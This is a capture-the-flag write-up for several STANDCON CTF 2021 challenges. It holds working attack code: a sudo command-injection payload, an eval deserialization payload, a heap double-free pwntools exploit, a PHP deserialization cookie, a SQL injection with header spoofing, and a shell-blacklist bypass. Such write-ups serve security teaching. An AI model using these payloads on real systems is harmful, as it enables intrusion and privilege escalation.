STANDCON CTF 2021
Pwn
Space University of Interior Design
Storytelling is the root of interior design.
Author: zeyu2001
We're given shell access to a machine, logged in as guest
. We start poking around and notice a few interesting things:
We see that python3.7
has the suid bit set. Given the name of the challenge, this is likely relevant.
We also notice yet another reference to jared
and /home/jared/query_db.py
in /etc/sudoers
:
Note that at this point, since we are guest
, we cannot read /home/jared/query_db.py
.
We can make use of the suid'ed python3.7
to read query_db.py
by running /usr/bin/python3.7 -c "print(open('/home/jared/query_db.py').read())"
:
We dumped chinook.db
and realised there was nothing relevant in there. Poking around further, we find /home/jared/creds.txt
:
Which we can use to login as jared
to explore further: echo iamrich | su -c "whoami" jared
.
At this point, we can put all the pieces together:
jared
can run/home/jared/query_db.py
asroot
withsudo
because of the entry in/etc/sudoers
- There is a trivial command injection vulnerability in
/home/jared/query_db.py
which we can exploit to effectively get a root shell
This leads us to our final payload of:
echo iamrich | su -c "sudo /home/jared/query_db.py --row '\";cat /root/flag.txt; echo \"' " jared
Resulting in:
.open /home/jared/chinook.db
SELECT
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}Done!
Rocket Science
Welcome to Rocket Science! In this class, we will learn all about rockets. But first, let's revise your numbers!
Author: zeyu2001
We're given a Python script:
and a requirements.txt
containing lambdajson == 0.1.4
.
We immediately notice line 54 of rocket_science.py
running deserialize
from lambdajson
. Taking a look at the source code (of the ancient version, since lambdaJSON
is now at version 4.3), we see that deserialize
calls eval
directly:
Our solve script is thus as follows:
import json
from pwn import *
# p = process("python3 rocket_science.py".split(" "))
p = remote("20.198.209.142", 55020)
p.sendlineafter("Load numbers", "3")
p.sendline(json.dumps({
"test": "bool://print(__import__('os').system('cat flag.txt'))"
}))
p.interactive()
Intergalatic Mailer
Welcome all beta testers to very first beta release of our mailer. Hopefully there are no bugs :)
Author: onioN
We're given a binary with menu options resembling the usual heap challenges:
Hello fellow testers, welcome to the first version of
Intergalactic Mailer
__________________
|\ /|
'-..-'| \ / |
'-..-'| /\____________/\ |
'-..-'|/ \|
'-..-'|__________________|
Please help us look out for any bugs
and we might just reward u :)
You can reach us at gimme_flag_plz@stc.com
Enjoy and happy sending!!!
Total number of email created: 0/10
-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
1) Create email
2) Send email
3) Edit email
4) Delete email
5) Create Signature
6) Quit
>
Emails are stored into an array of structs with the following format:
char recipient_addr[24];
char *subject;
char *content;
Creating an email strcpy
s an email from a predetermined array into recipient_addr
, then requests two numbers from the user and malloc
s two buffers for subject
and content
.
Sending an email checks the recipient
email, if equal to gimme_flag_plz@stc.com
, displays the flag, else does nothing useful except for removing the email from the internal list.
Editing a draft prompts the user to select an existing email and allows them to modify the recipient, subject or content. Since the length of the subject and content could vary, the binary free
s the current pointer before malloc
ing another buffer of the new length.
After a couple of hours staring at the binary, we spot a double-free bug:
This is part of the function handling editing of the subject and content fields of an email. We see that on line 3, the current subject
buffer is free
ed. If the user content is equal to !q
(ie iVar3 == 0
), two messages are printed and the subject
pointer is set to NULL
. Otherwise, another buffer is malloc
ed and the user input is copied into it.
We see something very similar here to handle content editing, except that on line 12, we are not nulling out the content
pointer.
This means that if we were to edit the content of email X, then write !q
to cancel the saving, the content
pointer has been free
ed but still remains in the email struct. Editing the same email again will free
the already freed content
pointer again!
To actually exploit this, we heavily reference https://upsecurity.rocks/heap-exploiting-4/. Our objective is to write data at tempEmail + 0x17
, which currently contains admin_Devloper@stc.com
, overwriting it with gimme_flag_plz@stc.com
.
We first patch the binary to use the provided libc
and ld
: patchelf --set-interpreter ./ld.so --add-needed ./libc.so ./intergalatic_mailer
. It is useful to note that the challenge author compiled the provided libc, disabling tcache.
We first trigger the double-free bug:
createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")
editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content="!q") # free content of email 1 again, fastbin dup
We free
email1.content
, email2.content
, then email1.content
again.
Examining the fastbins at this stage, we see we now have three bins, two of which are duplicates:
Note that because editing the content of an email is essentially
free(content)
read user input
if user input == "!q":
return
else:
content = malloc(...)
strcpy(content, user input)
, we can write our target address, TARGET_LOC
(a bit before tempEmail + 0x17
) into email1.content
with the third email edit. This overwrites the internal metadata that malloc
uses to manage chunks, allowing us to malloc that chunk at an arbitrary (almost) location in memory.
createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")
editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content=p64(TARGET_LOC)) # free content of email 1 again, fastbin dup
At this point, if we were to make three more malloc
s (note the "incorrect fastbin_index" on the last chunk above), we see:
This is a mitigation that has to be bypassed. If we were to look at the structure of a valid chunk:
We see that for the chunk with address 0x665290
, the size 0x31
is in the word immediately before.
Conveniently, the binary provides a "create signature" function which allows to write data at tempEmail
, right before the area where we need to write our email address.
void createSign(void)
{
size_t sVar1;
puts("Please input your desired signature");
read(0,tempEmail,0x17);
sVar1 = strcspn(tempEmail,"\n");
tempEmail[sVar1] = 0;
return;
}
With this in mind, we write 1
(aka 0x31
) into the signature (at 0x4061e0
), then set TARGET_LOC
at 0x4061e8
so that malloc
sees a valid size field before our fake chunk.
r.sendlineafter("Create Signature", "5")
r.sendlineafter("signature", "1") # 1 is 0x31, the correct fastbin_index for the fake chunk
createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")
editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content=p64(TARGET_LOC)) # free content of email 1 again, fastbin dup
At this point, we see all we have to do is make two more malloc
s (which will be placed on the actual heap), before we make a third malloc which will be placed in tempEmail
. A bit of manual offset tweaking to match the emails later, and we have our flag!
from pwn import *
# https://upsecurity.rocks/heap-exploiting-4/
TARGET_LOC = 0x4061d0 + 8 # intended location is 0x4061e0 (tempEmail) + 8, but seems to be offset?
TARGET_LOC += 0x01000000 # first byte of written data seems to vanish?
r = process("./intergalatic_mailer")
# r =remote('20.198.209.142', 55023)
gdb.attach(r)
def createEmail(len_subject=32, subject="subject", len_content=32, content="content"):
r.sendlineafter("Create email", "1")
r.sendlineafter("one of the default email", "1")
r.sendlineafter("space do you need for the subject", str(len_subject))
r.sendlineafter("input your subject", subject)
r.sendlineafter("space do you need for the email message", str(len_content))
r.sendlineafter("input your email", content)
def editEmail(email_index, len_content, content):
r.sendlineafter("Edit email", "3")
r.sendlineafter("do u want to edit?", str(email_index))
r.sendlineafter("element do u want to edit", "3")
r.sendlineafter("space do you need", str(len_content))
r.sendlineafter("input your email", content)
r.sendlineafter("Create Signature", "5")
r.sendlineafter("signature", "1") # 1 is 0x31, the correct fastbin_index for the fake chunk
createEmail(subject="subject1", content="content1")
createEmail(subject="subject2", content="content2")
editEmail(1, len_content=32, content="!q") # free content of email 1
editEmail(2, len_content=32, content="!q") # free content of email 2
editEmail(1, len_content=32, content=p64(TARGET_LOC)) # free content of email 1 again, fastbin dup
createEmail(subject="subject3", content="content3") # allocate two chunks on the heap
createEmail(subject="A" * 15 + "gimme_flag_plz@stc.com", content="content4") # subject is placed at `0x4061e8`
createEmail(subject="subject5", content="content5") # create an email with the recipient we just overwrote
r.sendlineafter("Send email", "2")
r.sendlineafter("Which email", "5")
r.interactive()
.==============================================.
WOW!!! You actually found a bug!!!
Here is your reward for your trouble :)
_
|E]
.-|=====-.
| | FLAG | STC{00P5_wh0_d1D_1_H34p_700}
|________|___
||
||
|| www %%%
vwv || )_(,;;;, ,;,\_/ www
)_( || \|/ \_/ )_(\| (_)
\| \ || /\|/ |/ \| \|// |
___\|//jgs||//_\V/_\|//_______\|//V/\|/__
.==============================================.
Web
Star Cereal
Have you heard of Star Cereal? It's a new brand of cereal that's been rapidly gaining popularity amongst astronauts - so much so that their devs had to scramble to piece together a website for their business! The stress must have really gotten to them though, because a junior dev accidentally leaked part of the source code...
Author: zeyu2001
**Note: This is NOT required for solving but may have caused some of your payloads to fail. **
In line 11 of process_login.php:
$this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
Should be
$this->query = "SELECT email, password FROM starcereal.admins WHERE email=? AND password=?";
Additional hint: Think about what the code is checking. Your solution should work regardless of the contents of the database.
We're given the following source code:
<?php
class SQL
{
protected $query;
function __construct()
{
$this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
}
function exec_query($email, $pass)
{
$conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));
// Check connection
if ($conn->connect_error) {
die("Connection failed. Please inform CTF creators.");
}
$stmt = $conn->prepare($this->query);
// Sanity check
if (! $stmt->bind_param("ss", $email, $pass))
{
return NULL;
}
$stmt->execute();
$result = $stmt->get_result();
return $result;
}
}
class User
{
public $email;
public $password;
protected $sql;
function __construct($email, $password)
{
$this->email = $email;
$this->password = $password;
$this->sql = new SQL();
}
function __toString()
{
return $this->email . ':' . $this->password;
}
function is_admin()
{
$result = $this->sql->exec_query($this->email, $this->password);
if ($result && $row = $result->fetch_assoc()) {
if ($row['email'] && $row['password'])
{
return true;
}
}
return false;
}
}
class Login
{
public $user;
public $mfa_token;
protected $_correctValue;
function __construct($user, $mfa_token)
{
$this->user = $user;
$this->mfa_token = $mfa_token;
}
function verifyLogin()
{
$this->_correctValue = random_int(1e10, 1e11 - 1);
if ($this->mfa_token === $this->_correctValue)
{
return $this->user->is_admin();
}
}
}
// Verify login
if(isset($_COOKIE["login"])){
try
{
$login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
if ($login->verifyLogin())
{
$_SESSION['admin'] = true;
}
else
{
$_SESSION['admin'] = false;
}
}
catch (Error $e)
{
$_SESSION['admin'] = false;
}
}
// Handle form submission
if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token']))
{
$login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']);
setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");
header("Refresh:0");
die();
}
?>
We can immediately see that the code accepts an arbitrary chunk of data and tries to unserialize it. This is a classic PHP deserialization attack.
There are two checks to bypass here:
Login->verifyLogin()
, which randomly generates a number (too large to be bruteforced) and compares it with the input token valueUser->is_admin()
, which makes a SQL query with the input email and password
Taking a look at the serialized output by running:
$login = new Login(new User("abc@a.com", "pass"), 13245);
$ser = serialize($login);
echo "before mod\n";
var_dump($ser);
O:5:"Login":3:{s:4:"user";O:4:"User":3:{s:5:"email";s:9:"abc@a.com";s:8:"password";s:4:"pass";s:6:"*sql";O:3:"SQL":1:{s:8:"*query";s:63:"SELECT email, password FROM admins WHERE email=? AND password=?";}}s:9:"mfa_token";i:13245;s:16:"*_correctValue";N;}
Note that the serialized output seen here is not exactly valid because protected properties have null bytes in the serialized representation, hence the challenge needing to base64 encode/decode.
Interestingly, all the instance properties are serialized. We see in the source code that they are initialized in __construct
, which is not called when unserialize
is used to deserialize input data.
To bypass the first check in User->verifyLogin()
, we can make _correctValue
point to a reference of mfa_token
. When $this->_correctValue = random_int(1e10, 1e11 - 1);
is ran, the same value is written into mfa_token
, making the next check always succeed.
At this point, our serialized payload looks like
O:5:"Login":3:{s:4:"user";O:4:"User":3:{s:5:"email";s:9:"abc@a.com";s:8:"password";s:4:"pass";s:6:"*sql";O:3:"SQL":1:{s:8:"*query";s:63:"SELECT email, password FROM admins WHERE email=? AND password=?";}}s:9:"mfa_token";i:13245;s:16:"*_correctValue";R:7;}
To bypass the second check in User->is_admin()
, we simply modify the SQL that is serialized, changing it to SELECT 1 AS email, 1 AS password WHERE ?!=?
. Note that we include two parameters so that the call to stmt->bind_param("ss"...)
succeeds (but is a NOP). We also write our SQL to directly return data without querying any tables, since initially there was no indication that a database was even configured.
This gives us our final payload, which we generate with
$login = new Login(new User("abc@a.com", "pass"), 13245);
$ser = serialize($login);
$ser = str_replace('63:"SELECT email, password FROM admins WHERE email=? AND password=?"', '43:"SELECT 1 AS email, 1 AS password WHERE ?!=?"', $ser);
$ser_str = urlencode(base64_encode($ser));
echo $ser_str . "\n";
and send with
import requests
PAYLOAD = "Tzo1OiJMb2dpbiI6Mzp7czo0OiJ1c2VyIjtPOjQ6IlVzZXIiOjM6e3M6NToiZW1haWwiO3M6OToiYWJjQGEuY29tIjtzOjg6InBhc3N3b3JkIjtzOjQ6InBhc3MiO3M6NjoiACoAc3FsIjtPOjM6IlNRTCI6MTp7czo4OiIAKgBxdWVyeSI7czo0MzoiU0VMRUNUIDEgQVMgZW1haWwsIDEgQVMgcGFzc3dvcmQgV0hFUkUgPyE9PyI7fX1zOjk6Im1mYV90b2tlbiI7aToxMzI0NTtzOjE2OiIAKgBfY29ycmVjdFZhbHVlIjtSOjc7fQ%3D%3D"
r = requests.get("http://20.198.209.142:55043/login.php", cookies={
"login": PAYLOAD
})
print(r.text)
giving us
<div class="alert alert-success" role="alert">
Welcome back, admin! Your flag is STC{1ns3cur3_d3s3r14l1z4t10n_7b20b860e23a128688cffc07a5b7e898}
63</div>
Star Cereal 2
Ha, that was sneaky! But I've patched the login so that people like you can't gain access anymore. Stop hacking us!
Author: zeyu2001
Hint: The developer seems very concerned about where the login requests are coming from.
Hint: In an enterprise setting, there are multiple machines. Where could the admin be logging in from?
We note the comment in the main page:
<!--
Star Cereal page by zeyu2001
TODO:
1) URGENT - fix login vulnerability by disallowing external logins (done)
2) Integrate admin console currently hosted at http://172.16.2.155
-->
And the login returns a 403:
➜ star2 curl http://20.198.209.142:55045/login.php
<h1>Forbidden</h1><p>Only admins allowed to login.</p>
Referring to the hint, we make a guess that the application is checking for X-Forwarded-For
and bruteforce the IP:
import requests
import itertools
for p in itertools.product(list(range(0, 256)), repeat=2):
ip = f"172.16.{p[0]}.{p[1]}"
print(ip)
r = requests.get("http://20.198.209.142:55045/login.php", headers={
"X-Forwarded-For": ip
})
if r.status_code != 403:
print(r.text)
break
And we discover that sending the header X-Forwarded-For: 172.16.2.24
gives us a login form.
At this point, my team mate chucks sqlmap
at it and discovers that the form has an SQL injection vulnerability (even though part 1 used prepared statements?...), comes up with a payload and we get our flag.
import requests
r = requests.post("http://20.198.209.142:55045/login.php", headers={
"X-Forwarded-For": "172.16.2.24"
}, data={
"email": "admin",
"pass": "admin' UNION SELECT 'admin','admin';#"
})
print(r.text)
<div class="alert alert-success" role="alert">
Welcome back, admin! Your flag is STC{w0w_you'r3_r3lly_a_l33t_h4x0r_bc1d4611be52117c9a8bb99bf572d6a7}
68</div>
Misc
Z-Space Hulk
Oh no! Our mainframe computer has been hacked !!!! Can you help us bypass the hack?
Author: onioN
We're given shell access to a machine with certain commands being blacklisted.
We first identify that sh
is blacklisted, but... <space>sh
isn't.
➜ ~ nc 20.198.209.142 55052
Z-Space Hulk mainframe: Give me a command and i may execute it for u :). [q] to quit
sh
Z-Space Hulk mainframe: Nice try
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓───▓▓▓──▓▓▓──────▓▓▓──▓▓▓▓▓
▓██▓▓▓▓▓▓──▓─▓▓──▓▓──▓▓▓▓──▓▓──▓▓▓▓▓
▓████▓▓▓▓──▓▓─▓──▓▓──▓▓▓▓──▓▓▓▓▓▓▓▓▓
▓█▓███▓▓▓──▓▓▓───▓▓▓──────▓▓▓──▓▓▓▓▓
▓█▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓█▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓
▓█▓▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███▓
▓█▓▓▓▓▓███▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████▓█▓
▓██████████████████████▓▓▓█████▓▓▓█▓
▓████░░░░░░░░░░░░░░░░░██████▓▓▓▓▓▓█▓
███░░░░░░░░░░░░░░░░░░░░░░░██▓▓▓▓▓▓█▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░██▓▓▓▓██▓
█░░░░░░░░░█░░░░░░░░░░░░░░░░░██████▓▓
█░░░████████░░░░█░░░░░░░░░░░░█████▓▓
█░░█████████░░░░█████░░░░░░░░░███▓▓▓
█░██▒███████░░░███████████░░░░░██▓▓▓
█░█▒▒▒███▒██░░░██▒▒█████████░░░█▓▓▓▓
█░██▒▒▒▒▒▒██░░░█▒▒▒▒████▒▒▒██░░█▓▓▓▓
█░███▒▒████░░░░█▒▒▒▒███▒▒▒▒▒██░█▓▓▓▓
█░██████░░░░░░██▒▒▒▒▒▒▒▒▒▒███░░█▓▓▓▓
█░██░░░░░███░░███▒▒▒▒▒▒▒▒███░░░█▓▓▓▓
█░░░░░█████░░░░████▒▒▒▒████░░░░█▓▓▓▓
█░░░░██░░░██░░░███████████░░░░█▓▓▓▓▓
█░░░██░░░░░██░░░████████░░░░░░█▓▓▓▓▓
█░░░█░░░░░░░██░░░░███░░░░░░░░█▓▓▓▓▓▓
█░░░░░░░░░░░░█░░░░░░░░░░░░░░░█▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓▓
█░░░░░░░░░░░░░░░░░░░░░░░░░█▓▓▓▓▓▓▓▓▓
Z-Space Hulk mainframe: Give me a command and i may execute it for u :). [q] to quit
sh
cat flag.txt
STC{5h0r7h4nd5_4r3_k00l}
Loki Looper
alright another ODINSON needs our help, mister loki got caught by the time popos again. Right before they caught him, he sent us his location for us to break him out from. It's obviously locked with a key but what is it?
Note: An animal kinda does make space noises too right? - DAMMIT THE GOD OF MISCHIEF AND HIS RIDDLES!
Author: Hades95200
Hint: https://youtu.be/nDqP7kcr-sc + 123
All lower, it is encoded just like n0h4ts
We're given a .rar
file with a password set. Since the hint involved whale123
and leetspeak, we mangle whale123
with https://github.com/4n4nk3/Wordlister, then run John the Ripper. We discover the password wh4l3123
.
We extract a base64-encoded audio file, which contains a recording of a Slow-scan television transmission. Playing it into Robot36 gives us our flag: